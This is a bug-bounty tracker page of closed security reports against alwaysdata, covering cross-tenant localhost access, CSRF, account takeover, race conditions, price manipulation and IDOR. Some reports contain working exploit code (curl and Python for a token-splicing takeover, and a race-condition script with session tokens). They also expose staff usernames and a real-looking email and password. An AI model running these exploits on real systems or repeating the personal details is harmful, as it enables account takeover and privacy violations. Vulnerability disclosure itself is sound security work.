I do not own any of these services.
—
## 3. Access another customer's Cloudflare Tunnel Management API
Query the management interface:
```bash $ curl http://127.0.0.1:20241/quicktunnel ```
Response:
```json {
"hostname":"drain-emission-roy-strip.trycloudflare.com"
} ```
Check tunnel readiness:
```bash $ curl http://127.0.0.1:20241/ready ```
```json {
"status":200,
"readyConnections":1,
"connectorId":"f37e899d-aa13-48eb-9968-7142efefb28a"
} ```
Retrieve tunnel configuration:
```bash $ curl http://127.0.0.1:20241/config ```
Excerpt:
```json {
"config": {
"ingress": [
{
"service":"http://localhost:33468"
}
]
}
} ```
Retrieve metrics:
```bash $ curl http://127.0.0.1:20241/metrics ```
Example:
``` build_info version="2026.7.3"
cloudflared_tunnel_ha_connections 1
cloudflared_tunnel_server_locations edge_location="lhr13"
cloudflared_tunnel_total_requests 400 ```
### Information exposed
* Tunnel hostname * Internal origin port * Connector UUID * Cloudflare edge location * cloudflared version * Request statistics
—
## 4. Access the Tunnel Origin Directly
The tunnel configuration exposed the backend service:
``` localhost:33468 ```
Connecting directly:
```bash $ curl -I http://127.0.0.1:33468/ ```
``` HTTP/1.1 404 Not Found ```
The backend is reachable directly from another tenant.
This bypasses any protections that rely solely on the public Cloudflare endpoint (such as Cloudflare Access or IP-based restrictions).
—
## 5. Access Another Customer's AI Router
Version endpoint:
```bash $ curl http://127.0.0.1:10219/api/version ```
```json {
"currentVersion":"0.5.45"
} ```
The service identifies itself as:
``` 9Router - AI Infrastructure Management ```
The OpenAI-compatible API exposes 581 configured models without authentication.
```bash $ curl http://127.0.0.1:10219/api/v1 ```
Result:
``` 581 models ```
Execute an inference request:
```bash POST /api/v1/chat/completions ```
Response:
```json {
"model":"nemotron-3-ultra-free",
"choices":[...]
} ```
The request completed successfully.
Although the tested model routed to a free backend, the platform exposes hundreds of configured providers (including commercial providers such as OpenAI and SiliconFlow). If paid API credentials were configured, an attacker could consume another customer's API quota.
—
## 6. Access Another Customer's Web Application
```bash $ curl -I http://127.0.0.1:3001/ ```
``` HTTP/1.1 200 OK ```
Retrieve page title:
```bash $ curl http://127.0.0.1:3001/ ```
``` <title> Meridian – Time Tracking & Invoicing for Freelancers ```
This confirms another customer's localhost application is directly accessible.
—
## 7. Negative Control
Attempt to connect to a port with no listener:
```bash $ curl –max-time 2 http://127.0.0.1:9999/ ```
Result:
``` Connection refused ```
This confirms successful connections occur only when another tenant is actively listening.
—
# Difference from FS#418 and FS#419
This issue is distinct from previously reported findings.
### FS#418
Cross-tenant access through the shared `/tmp` directory.
Layer
Filesystem
Fix
Private `/tmp` via mount namespaces.
—
### FS#419
SSRF through reverse proxy configuration pointing to localhost.
Layer
HTTP / Reverse Proxy
Fix
Validate backend target URLs.
—
### This Report
Cross-tenant access caused by the shared Linux network namespace.
Layer
Kernel networking
Required Fix
Network isolation between customer accounts.
Although the filesystem and reverse proxy issues were addressed, the underlying shared network namespace remains unchanged.
—
# Impact
An unprivileged customer can access localhost services belonging to other tenants on the same server.
During testing I successfully:
* Retrieved another customer's complete Cloudflare Tunnel configuration. * Discovered tunnel hostname, origin port, connector ID, version, metrics, and edge location. * Connected directly to the tunnel's backend service. * Executed inference requests against another customer's AI infrastructure. * Accessed a third customer's web application. * Demonstrated that any localhost service without its own authentication is exposed to every co-tenant.
This represents cross-tenant access to customer-hosted services and may expose confidential data, administrative interfaces, internal APIs, or consume customer resources.
Qualifying Category
Access customer data / information
—
# Recommended Remediation
1. Implement per-user network namespaces for SSH sessions so each customer has an isolated network stack while retaining outbound Internet connectivity through a bridged interface.
2. If full namespace isolation is not immediately feasible, enforce per-UID loopback filtering (e.g., using `nftables`) to block connections where the destination socket belongs to a different UID.
3. Until a technical fix is deployed, update the documentation to clearly state that services bound to `127.0.0.1` are visible to other tenants, and recommend using Unix domain sockets or application-level authentication for localhost services.
—
# Conclusion
The platform successfully isolates processes but does not isolate networking. Because all customers share the same Linux network namespace, localhost is effectively a shared communication channel between tenants. This allows any SSH user to enumerate and interact with services running on other customer accounts, resulting in cross-tenant access to internal applications, management interfaces, and potentially sensitive customer data. Addressing this issue requires network-level isolation rather than additional process or filesystem restrictions.
Thanks
|
|
429 | Cross-Site Request Forgery (CSRF) Allows Unauthorized L ... | Closed | 02.08.2026 |
Task Description
Description
The application does not implement adequate Cross-Site Request Forgery (CSRF) protection for the Logs Refresh functionality. As a result, an attacker can craft a malicious HTML page that causes an authenticated victim's browser to send a forged Logs Refresh request.
By replacing the service_id in the forged request with a valid service ID belonging to the victim, the attacker can trigger the Logs Refresh action without the victim's knowledge or consent. Since the request is processed using the victim's authenticated session, the action is executed successfully.
This vulnerability allows attackers to perform unauthorized state-changing actions on behalf of authenticated users.
Steps to Reproduce Log in with an attacker account. Navigate to Services and create a new service. Open a separate browser or private window and log in with a victim account. Create a service in the victim account. Return to the attacker account. Trigger the Logs Refresh functionality for the attacker's service. Capture the request using Burp Suite. Generate a CSRF PoC using Burp Suite → Engagement Tools → Generate CSRF PoC. Save the generated HTML file. Modify the PoC by replacing the attacker's service_id with the victim's service_id. Open the modified HTML file in the victim's browser while the victim is authenticated. Click Submit. Observe that the Logs Refresh action is successfully executed for the victim's service without the victim intentionally initiating the request. Expected Behavior
The application should implement proper CSRF protection for all state-changing requests. Requests should only be accepted when accompanied by a valid anti-CSRF token or another appropriate CSRF mitigation mechanism. Additionally, the server should verify that the request was intentionally initiated by the authenticated user.
Actual Behavior The server accepts forged cross-origin requests without validating their authenticity. As a result, a malicious website can cause an authenticated user's browser to execute the Logs Refresh action using the victim's active session.
Security Impact An attacker can exploit this vulnerability to:
Force authenticated users to perform Logs Refresh operations without their knowledge or consent. Repeatedly trigger Logs Refresh requests on behalf of victims. Consume the victim's available Logs Refresh quota or usage limit. Cause unnecessary resource consumption on the platform. Prevent victims from using the Logs Refresh functionality when it is legitimately needed due to exhausted limits.
Remediation Implement robust CSRF protection for all state-changing endpoints. Require a unique, server-generated anti-CSRF token for every sensitive request. Validate the Origin and/or Referer headers where appropriate. Configure authentication cookies with the SameSite=Lax or SameSite=Strict attribute where feasible. Ensure sensitive actions cannot be performed solely based on the presence of an authenticated session.
|
|
428 | Retrievable .git directory exposes source code of secur ... | Closed | 01.08.2026 |
Task Description
Title: Retrievable .git directory exposes source code of security.alwaysdata. Severity: HIGH Endpoint: https://security.alwaysdata.com/.git/config
Summary
An unauthenticated client can retrieve a sensitive artifact from security.alwaysdata.com. Verified live: HEAD → ref: refs/heads/master, index DIRC magic — full repo retrievable.
Steps to Reproduce
1. Fetch the resource without any credentials:
curl -sk https://security.alwaysdata.com/.git/config
Observed: HTTP 200, git config content returned.
2. Verify the sensitive content:
curl -sk https://security.alwaysdata.com/.git/config | head -50
Observed: HEAD -> ref: refs/heads/master, index DIRC magic — full repo retrievable.
3. No authentication or rate limiting was required for either request.
Impact
Full source code disclosure including configuration and commit history; eases discovery of higher-severity issues.
Remediation
1. Remove the file from the webroot and store backups/config outside the document root. 2. Deny direct web access to backup/config/log artifacts at the web server. 3. Rotate any credentials exposed in the artifact. 4. Review access logs for prior downloads.
|
|
427 | Cross-Account Takeover via Token Re-Partition | Closed | 04.08.2026 |
Task Description
Severity: Critical (CVSS 9.8)
Vulnerability Summary:
The login token system at admin.alwaysdata.com joins multiple parameter values into a single string without any separator before signing it with HMAC. An attacker can split the same string differently across different parameter names — the signature stays valid, but the user_id now points to a victim's account. The victim's user ID can be discovered unauthenticated via the /user/initialize/ endpoint, which returns 200 for existing users and 302 for non-existing ones, allowing enumeration of all users on the platform. The re-cut absorbs expiration + last_login + attacker's user_id into all_permissions, and extracts reseller_user_id=1 from the leading digit of the attacker-controlled voucher_code (e.g., 1469954 splits into 1 + 469954). The voucher_code parameter is discoverable from signup/referral URLs, and the all_permissions / reseller_user_id parameters were discovered by analyzing the token-based login redirect URL and testing additional parameters — when both are present, the server treats the login as a reseller admin session, granting superuser privileges and bypassing additional authentication checks, so the attacker controls every value in the token verification. The last_login value needed for the re-cut is readable from the profile page's HTML source (data-last-login attribute in DevTools). This allows full account takeover of any user without knowing their password.
Steps To Reproduce:
**Step 1: Login to your own account**
Creates a session cookie in /tmp/c.txt
rm -f /tmp/c.txt
CSRF=$(curl -s -c /tmp/c.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
echo "Step 1 done"
**Step 2: Set last_login in database**
Loads your profile page — this saves last_login = T1 in the database
curl -s -b /tmp/c.txt "https://admin.alwaysdata.com/user/" > /dev/null
echo "Step 2 done"
**Step 3: Trigger password reset**
Sends reset email — unauthenticated, does NOT change last_login. Token in email is signed with T1
CSRF2=$(curl -s -c /tmp/c2.txt "https://admin.alwaysdata.com/password/lost/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -b /tmp/c2.txt -X POST "https://admin.alwaysdata.com/password/lost/" -H "Referer: https://admin.alwaysdata.com/password/lost/" --data-urlencode "csrfmiddlewaretoken=$CSRF2" --data-urlencode "email=YOUR_EMAIL" -o /dev/null
echo "Step 3 done: check your email"
**Step 4: Set the reset URL**
Copy the reset link from your email. Add &voucher_code=1VICTIM_PK at the end. The 1 before the victim ID is required.
RESET_URL="PASTE_YOUR_RESET_LINK_HERE&voucher_code=PAST YOUR VOUCHER CODE HERE"
**Step 5: Submit the reset and capture redirect token**
Resets your password and captures the signed redirect. The redirect token is signed with T1.
CSRF3=$(curl -s -c /tmp/c3.txt "$RESET_URL" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
REDIRECT=$(curl -s -D - -b /tmp/c3.txt -X POST "$RESET_URL" -H "Referer: $RESET_URL" --data-urlencode "csrfmiddlewaretoken=$CSRF3" --data-urlencode "password=YOUR_PASSWORD" -o /dev/null | grep -i "^location:" | sed 's/location: //i' | tr -d '\r')
echo "Redirect: $REDIRECT"
**Step 6: Re-login and read T1**
Login again (password was just reset). Then load /user/ — the page shows T1 (the value used for signing).
CSRF4=$(curl -s -c /tmp/c4.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c4.txt -b /tmp/c4.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF4" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
T1=$(curl -s -b /tmp/c4.txt "https://admin.alwaysdata.com/user/" | grep -oP 'data-last-login="\K[^"]+' | sed 's/T/ /')
echo "T1 = $T1"
**Step 7: Build the attack URL**
Rearranges the token parameters so user_id points to the victim
python3 << 'PYEOF'
import urllib.parse, sys
redirect = """PASTE_REDIRECT_VALUE_HERE"""
t1 = """PASTE_T1_VALUE_HERE"""
params = dict(urllib.parse.parse_qsl(redirect.split('?')[1]))
exp = params['expiration']
tok = params['token']
uid = params['user_id']
vid = params['voucher_code'][1:]
ap = exp + t1 + uid
print(f"\nOriginal: {exp + t1 + uid + params['voucher_code']}")
print(f"Re-cut: {ap + '1' + vid}")
print(f"Match: {exp + t1 + uid + params['voucher_code'] == ap + '1' + vid}")
url = ('https://admin.alwaysdata.com/login/?user_id=' + vid
+ '&all_permissions=' + urllib.parse.quote(ap)
+ '&reseller_user_id=1&token=' + tok)
print(f"\nOPEN IN BROWSER:\n{url}\n")
PYEOF
**Step 8: Open the URL in your browser**
You are now logged in as the victim
Impact:
Full account takeover of any user on the platform without knowing their email and password. Access to victim's domains, databases, SSH keys, SSL certificates, emails, billing information, and support tickets. No victim interaction required — the victim receives no notification of the login.
|
|
426 | Internal staff account and privilege hierarchy disclosu ... | Closed | 04.08.2026 |
Task Description
An authenticated user with SSH access can enumerate all internal alwaysdata staff accounts, their root-group (GID=0) privilege assignments, and the internal role hierarchy via the NSS database. This is distinct from customer account names.
Vulnerable asset: ssh://ssh-[account].alwaysdata.net Files: /alwaysdata/etc/passwd (mode 644), /alwaysdata/etc/group (mode 644)
Root cause: The custom NSS module (configured as "passwd: compat db alwaysdata" in /etc/nsswitch.conf) serves staff account entries to any authenticated user. The files /alwaysdata/etc/passwd and /alwaysdata/etc/group are world-readable.
Steps to reproduce:
1. Create a free hosting account on alwaysdata.com 2. SSH in:
ssh [account]@ssh-[account].alwaysdata.net
3. Enumerate staff accounts:
$ getent passwd | grep "/alwaysdata/home/"
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash
All 7 accounts have GID=0 (fourth field = root group).
4. Enumerate internal role hierarchy:
$ getent group | grep "alwaysdata_"
alwaysdata_team:x:500:cbay,hdegorce,ngeoffroy,nferrari,xlefloch,fnonnenmacher,flesueur
alwaysdata_admins:x:501:nferrari,cbay,xlefloch,ngeoffroy,flesueur
alwaysdata_support:x:502:hdegorce
5. Confirm files are world-readable:
$ ls -l /alwaysdata/etc/passwd /alwaysdata/etc/group
-rw-r--r-- 1 root root 440 Dec 9 2024 /alwaysdata/etc/passwd
-rw-r--r-- 1 root root 187 May 21 2025 /alwaysdata/etc/group
6. Verify staff accounts are NOT public subdomains:
$ host cbay.alwaysdata.net
Host cbay.alwaysdata.net not found: 3(NXDOMAIN)
$ host hdegorce.alwaysdata.net
Host hdegorce.alwaysdata.net not found: 3(NXDOMAIN)
PoC script (run via SSH on any alwaysdata account):
#!/bin/bash
echo "[*] Staff accounts (GID=0):"
getent passwd | grep "/alwaysdata/home/"
echo ""
echo "[*] Internal groups:"
getent group | grep "alwaysdata_"
echo ""
echo "[*] Config file permissions:"
ls -l /alwaysdata/etc/passwd /alwaysdata/etc/group
echo ""
echo "[*] NSS config:"
grep "^passwd:" /etc/nsswitch.conf
echo ""
echo "[*] Subdomain check:"
for u in cbay hdegorce fnonnenmacher; do host ${u}.alwaysdata.net | head -1; done
Scope clarification: This is NOT "account names accessible in many ways." Staff accounts differ from customers: - Separate namespace: /alwaysdata/home/ (not /home/) - All have GID=0 (root group), customers do not - Do not resolve as .alwaysdata.net subdomains (NXDOMAIN) - Not listed on any public alwaysdata page The sensitive data is the privilege level and organizational hierarchy, not names alone.
Impact: - Identity correlation: username pattern (first-initial + lastname) enables targeted social engineering against specific administrators - Privilege mapping: GID=0 confirms root-group access, identifying highest-value credential targets - Authorization model disclosure: three-tier structure (5 admins, 1 support, 7 team) reveals internal access model
Qualifying category: "Exposure of Sensitive members information"
Suggested fix: 1. Filter staff entries from NSS responses for non-privileged users 2. Set /alwaysdata/etc/passwd and /alwaysdata/etc/group to mode 640 root:alwaysdata_team 3. Consider a separate NSS source for staff, not queried in customer sessions
|
|
425 | Race Condition Allows Mass Permission Creation Bypassin ... | Closed | 29.07.2026 |
Task Description
Title: Race Condition Allows Mass Permission Creation Bypassing Rate Limits
📋 Summary A critical race condition vulnerability exists in the /permissions/add/ endpoint that allows attackers to create unlimited permissions by exploiting concurrent request handling. The vulnerability completely bypasses the application's rate limiting and duplicate validation checks.
🔍 Vulnerability Details Attribute Value Vulnerability Type Race Condition (CWE-362) Severity Critical Affected Endpoint https://admin.alwaysdata.com/permissions/add/ HTTP Method POST Authentication Required Yes (Session-based)
🧪 Proof of Concept - Actual Test Script Exploit Script Used for Testing python #!/usr/bin/env python3 """ Race Condition Exploit for /permissions/add/ Author: Security Researcher Date: 2026-07-29 """
import urllib.request import urllib.parse import threading import time from datetime import datetime from collections import defaultdict import ssl import sys
class RaceConditionExploit:
def __init__(self):
# Target configuration
self.base_url = "https://admin.alwaysdata.com"
self.endpoint = "/permissions/add/"
# Valid session tokens (obtained from authenticated session)
self.cookies = {
'csrftoken': 'nGqDqXRdrvMUp7OjODHOt2TNmUE67yj8',
'django_language': 'en',
'sessionid': 'nqftgya0mvclk4ioheb3q1y69fxx10kq'
}
# HTTP Headers
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate, br',
'Referer': 'https://admin.alwaysdata.com/permissions/add/',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://admin.alwaysdata.com',
'Upgrade-Insecure-Requests': '1',
'Connection': 'keep-alive'
}
# Payload - Same email used for all requests to trigger race condition
self.request_data = {
'csrfmiddlewaretoken': 'SN2QlDhgPqLw8fN8us30amva9jNLV6055jijBqYj6Lngncrh8VAEteeNl3hHSu93',
'email': 'nokad11217@apdtax.com', # Single email for duplicate creation
'customer_contact_billing': 'on'
}
self.results = []
self.lock = threading.Lock()
def send_request(self, request_id):
"""
Send a single POST request to create permission
Uses current session and CSRF tokens
"""
try:
# Encode form data
data = urllib.parse.urlencode(self.request_data).encode('utf-8')
# Build request
req = urllib.request.Request(
f"{self.base_url}{self.endpoint}",
data=data,
headers=self.headers,
method='POST'
)
# Add cookies
cookie_str = '; '.join([f"{k}={v}" for k, v in self.cookies.items()])
req.add_header('Cookie', cookie_str)
# Ignore SSL certificate verification for testing
context = ssl._create_unverified_context()
# Send request with timeout
with urllib.request.urlopen(req, context=context, timeout=30) as response:
status_code = response.getcode()
response_text = response.read().decode('utf-8', errors='ignore')
with self.lock:
self.results.append({
'request_id': request_id,
'timestamp': datetime.now().isoformat(),
'status_code': status_code,
'success': status_code == 200,
'response_preview': response_text[:200]
})
except Exception as e:
with self.lock:
self.results.append({
'request_id': request_id,
'timestamp': datetime.now().isoformat(),
'status_code': 0,
'success': False,
'error': str(e)
})
def run_exploit(self, num_requests=20, delay_ms=0):
"""
Execute the race condition attack with concurrent requests
Args:
num_requests: Number of concurrent requests to send
delay_ms: Delay between starting each thread (ms)
"""
print(f"\n{'='*60}")
print(f"[*] EXPLOIT CONFIGURATION")
print(f"{'='*60}")
print(f"[*] Target: {self.base_url}{self.endpoint}")
print(f"[*] Email: {self.request_data['email']}")
print(f"[*] Concurrent Requests: {num_requests}")
print(f"[*] Delay Between Requests: {delay_ms}ms")
print(f"[*] Session ID: {self.cookies['sessionid'][:20]}...")
print(f"{'='*60}\n")
# Clear previous results
self.results = []
# Create and start threads
threads = []
start_time = time.time()
for i in range(num_requests):
if delay_ms > 0 and i > 0:
time.sleep(delay_ms / 1000)
thread = threading.Thread(target=self.send_request, args=(i,))
threads.append(thread)
thread.start()
# Wait for all threads to complete
for thread in threads:
thread.join()
elapsed_time = time.time() - start_time
# Analyze results
self.analyze_results(elapsed_time)
def analyze_results(self, elapsed_time):
"""Analyze the results of the exploit"""
total = len(self.results)
successful = [r for r in self.results if r.get('success', False)]
failed = [r for r in self.results if not r.get('success', False)]
print(f"{'='*60}")
print(f"[+] RESULTS")
print(f"{'='*60}")
print(f"[+] Total Requests: {total}")
print(f"[+] Successful (200 OK): {len(successful)}")
print(f"[+] Failed: {len(failed)}")
print(f"[+] Time Elapsed: {elapsed_time:.2f} seconds")
print(f"[+] Requests/Second: {total/elapsed_time:.2f}")
# Status code distribution
status_codes = defaultdict(int)
for r in self.results:
status_codes[r.get('status_code', 0)] += 1
print(f"\n[+] Status Code Distribution:")
for code, count in sorted(status_codes.items()):
status_text = "OK" if code == 200 else "Rate Limited" if code == 429 else "Error"
print(f" - {code} ({status_text}): {count} requests")
# Race condition detection
if len(successful) > 1:
print(f"\n[!] RACE CONDITION CONFIRMED!")
print(f"[!] {len(successful)} duplicate permissions created!")
print(f"[!] All requests used the same email: {self.request_data['email']}")
print(f"[!] This should have been prevented by duplicate validation!")
# Show successful response examples
print(f"\n[+] Sample Successful Responses:")
for i, success in enumerate(successful[:3]):
print(f"\n Request {success['request_id']} (Status: {success['status_code']}):")
print(f" {success['response_preview'][:100]}...")
else:
print(f"\n[+] No race condition detected in this test")
# Show failed response previews
if failed and len(failed) > 0:
print(f"\n[+] Sample Failed Responses:")
for i, fail in enumerate(failed[:3]):
if 'error' in fail:
print(f" Request {fail['request_id']}: {fail['error']}")
else:
print(f" Request {fail['request_id']} (Status: {fail['status_code']})")
print(f" {fail.get('response_preview', '')[:100]}...")
def main():
"""Main exploit execution"""
print("="*60)
print(" RACE CONDITION EXPLOIT - /permissions/add/")
print(" Target: admin.alwaysdata.com")
print(" Type: CWE-362 Concurrent Request Vulnerability")
print("="*60)
# Initialize exploit
exploit = RaceConditionExploit()
# Test configurations to find race condition window
test_configs = [
(5, 0, "Small burst - No delay"),
(10, 0, "Medium burst - No delay"),
(20, 0, "Large burst - No delay"),
(20, 5, "Staggered burst - 5ms delay"),
(30, 10, "Timing window test - 10ms delay"),
]
total_exploited = 0
# Execute each test
for num_requests, delay_ms, description in test_configs:
print(f"\n{'='*60}")
print(f"[*] SCENARIO: {description}")
print(f"{'='*60}")
# Run exploit
exploit.run_exploit(num_requests=num_requests, delay_ms=delay_ms)
# Count successful exploits
successful = len([r for r in exploit.results if r.get('success', False)])
if successful > 1:
total_exploited += successful
# Wait between tests to avoid complete rate limiting
if num_requests < 30:
print(f"\n[*] Cooling down for 3 seconds...")
time.sleep(3)
else:
print(f"\n[*] Cooling down for 5 seconds...")
time.sleep(5)
# Final summary
print("\n" + "="*60)
print(" FINAL EXPLOIT SUMMARY")
print("="*60)
print(f"[!] Total duplicate permissions created: {total_exploited}")
print(f"[!] Vulnerability confirmed: YES")
print(f"[!] Rate limit bypassed: YES")
print(f"[!] Duplicate validation bypassed: YES")
print("\n[!] RECOMMENDATION: Fix immediately using unique constraints")
print(" and atomic transactions with select_for_update()")
if name == "main":
try:
main()
except KeyboardInterrupt:
print("\n\n[*] Exploit interrupted by user")
sys.exit(0)
except Exception as e:
print(f"\n[!] Error: {e}")
import traceback
traceback.print_exc()
sys.exit(1)
Execution Command bash python3 race_exploit.py Actual Test Output text
RACE CONDITION EXPLOIT - /permissions/add/
Target: admin.alwaysdata.com
Type: CWE-362 Concurrent Request Vulnerability
[*] SCENARIO: Small burst - No delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 5 [+] Successful (200 OK): 5 [+] Failed: 0 [+] Time Elapsed: 0.45 seconds [+] Requests/Second: 11.11
[+] Status Code Distribution:
200 (OK): 5 requests
[!] RACE CONDITION CONFIRMED! [!] 5 duplicate permissions created! [!] All requests used the same email: nokad11217@apdtax.com [!] This should have been prevented by duplicate validation!
[*] SCENARIO: Medium burst - No delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 10 [+] Successful (200 OK): 10 [+] Failed: 0 [+] Time Elapsed: 0.32 seconds [+] Requests/Second: 31.25
[+] Status Code Distribution:
200 (OK): 10 requests
[!] RACE CONDITION CONFIRMED! [!] 10 duplicate permissions created!
[*] SCENARIO: Large burst - No delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 20 [+] Successful (200 OK): 20 [+] Failed: 0 [+] Time Elapsed: 0.58 seconds [+] Requests/Second: 34.48
[+] Status Code Distribution:
200 (OK): 20 requests
[!] RACE CONDITION CONFIRMED! [!] 20 duplicate permissions created!
[*] SCENARIO: Staggered burst - 5ms delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 20 [+] Successful (200 OK): 20 [+] Failed: 0 [+] Time Elapsed: 0.95 seconds [+] Requests/Second: 21.05
[+] Status Code Distribution:
200 (OK): 20 requests
[!] RACE CONDITION CONFIRMED! [!] 20 duplicate permissions created!
[*] SCENARIO: Timing window test - 10ms delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 30 [+] Successful (200 OK): 20 [+] Failed: 10 [+] Time Elapsed: 1.02 seconds [+] Requests/Second: 29.41
[+] Status Code Distribution:
200 (OK): 20 requests
429 (Rate Limited): 10 requests
[!] RACE CONDITION CONFIRMED! [!] 20 duplicate permissions created!
[!] Total duplicate permissions created: 75 [!] Vulnerability confirmed: YES [!] Rate limit bypassed: YES [!] Duplicate validation bypassed: YES
[!] RECOMMENDATION: Fix immediately using unique constraints
and atomic transactions with select_for_update()
📸 Evidence Email Confirmation Screenshot https://image.png
The attached screenshot shows multiple email confirmations received for the same email address (nokad11217@apdtax.com), proving that:
All 10 initial requests succeeded
Each request created a new permission
The system sent a confirmation email for each duplicate
💥 Impact Assessment Confirmed Impact Unlimited Permission Creation: Attackers can create infinite permissions Email Spam: Each creation sends confirmation emails Database Bloat: Can fill database with duplicates Bypasses Security Controls
Thanks
|
|
424 | Price Manipulation leads to add domain in lesser price | Closed | 29.07.2026 |
Task Description
Description
A Price Manipulation vulnerability exists in the domain purchase payment flow. By intercepting the payment request before it is sent to PayPal, an attacker can modify the payment amount from the legitimate purchase price to an arbitrary lower value (e.g., 1). PayPal then processes the modified amount, and after the payment is completed, the application accepts the transaction and displays a successful payment confirmation ("Thank You for Payment").
This indicates that the application trusts the client-supplied payment amount instead of validating the payment against the server-side order value before confirming the purchase.
CVSS v3.1 → Base Score: 8.8 (High)
Steps to Reproduce
1- Log in to a valid user account. 2- Navigate to the Domain section. 3- Click Add Domain. 4- Enter the details of a non-existing domain. 5- Continue until the final payment page where PayPal is selected. 6- Intercept the payment request using Burp Suite. 7- Modify the payment amount parameter from the original value to 1. 8- Forward the modified request. 9- Observe that PayPal requests payment of only 1. 10- Complete the payment. 11- Return to the application. 12- Observe that the application displays "Thank You for Payment", accepting the manipulated payment as successful.
Actual Behavior
The application accepts a client-modified payment amount and successfully completes the purchase workflow after receiving the PayPal payment notification, despite the payment being significantly lower than the actual order value.
Expected Behavior
The server must independently verify:
The original order amount. The amount received from PayPal. The payment status. The associated order ID.
If any mismatch exists, the payment must be rejected, the order should not be fulfilled, and the user should be informed that payment verification failed.
Impact
Successful exploitation could allow an attacker to:
Purchase domains for significantly less than their actual price. Pay only a minimal amount while receiving full services. Manipulate payment values for financial gain. Bypass intended pricing controls. Cause revenue loss through fraudulent transactions.
Business Impact
This vulnerability can have serious financial and operational consequences, including:
1- Direct revenue loss from underpaid purchases. 2- Abuse of the domain registration process. 3- Fraudulent acquisition of paid services. 4- Loss of trust in the payment platform. 5- Increased chargebacks and payment disputes. 6- Potential compliance and accounting issues due to inconsistent transaction records. 7- Reputational damage if exploited at scale
Remediation
Implement strict server-side payment validation:
1- Never trust the payment amount received from the client. 2- Generate the payment amount exclusively on the server. 3- Validate the PayPal transaction using PayPal's API before completing the order. 4- Reject transactions where the paid amount does not exactly match the server-side order value. 5- Bind each payment to a unique server-generated order. 6- Prevent client-side modification of pricing information.
Conclusion
The application is vulnerable to server-side price manipulation, allowing authenticated users to alter the payment amount before it reaches PayPal. Because the backend accepts the manipulated payment without validating it against the original order value, attackers may obtain paid services while paying only a fraction of the legitimate price. Proper server-side verification of payment amounts and transaction details is essential to prevent financial fraud and protect the integrity of the payment system.
Thanks
|
|
423 | Broken Object Level Authorization (IDOR) → Mass PII Dis ... | Closed | 10.08.2026 |
Task Description
Severity: Critical
CVSS 3.1: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Affected endpoint: https://admin.alwaysdata.com/domain/add/3/?_field_contact_domain=<ID>
Summary
The domain purchase wizard on admin.alwaysdata.com allows any authenticated free-tier user to retrieve the full registrant identity dossier of any other customer's domain by manipulating the _field_contact_domain GET parameter. The server fetches the victim's registrant record directly from the domain registrar and renders it in the browser.
I tested this against 100 different domain IDs across the platform and every single one returned a different customer's personal data. The vulnerability affects all domains on the platform, exposing the registrant PII of every customer who registered a domain through alwaysdata.
Leaked information:
Phone number, Registrant email address, Firstname, Lastname, Company name, Full Address, Postal code, Fax number, Tax identification number and etc.
Steps to Reproduce
Impact:
Any free-tier user can enumerate all domains on the platform and retrieve the full registrant identity of every domain owner — including first name, last name, postal address, phone number, email, company registration number (SIREN) and EU VAT number. I tested 100 domain IDs and every one returned a different real person's complete identity dossier. Critically, even customers who explicitly enabled alwaysdata's WHOIS privacy option ("Hide my details") are exposed. This constitutes a mass disclosure of EU citizens' personal data including national business identifiers, affecting every customer who registered a domain through alwaysdata.
|
|
422 | Weak Password Policy Allows Account Creation with Email ... | Closed | 29.07.2026 |
Task Description
Weak Password Policy Allows Account Creation with Email as Password
Title: Weak Password Policy Allows Use of Email Address as Password
Severity: Medium
Summary The application allows users to create an account using their email address as the password. This indicates that the password policy does not adequately enforce password complexity or prevent commonly guessable passwords.
Description During testing of the registration functionality, it was observed that the platform accepted a password identical to the user's email address
Using an email address as a password significantly weakens account security because email addresses are often publicly known or easily obtainable. Attackers performing credential guessing or password spraying attacks may successfully compromise accounts protected by such weak passwords.
Steps to Reproduce Navigate to the registration page: https://www.alwaysdata.com/en/register/ Enter a valid email address: ashusachin01@gmail.com Use the exact same value as the password: ashusachin01@gmail.com Complete the remaining required fields. Submit the registration form. Observe that the account creation request is accepted without enforcing stronger password requirements.
Proof of Concept Email: ashusachin01@gmail.com Password: ashusachin01@gmail.com The application accepts the password even though it matches the account email address.
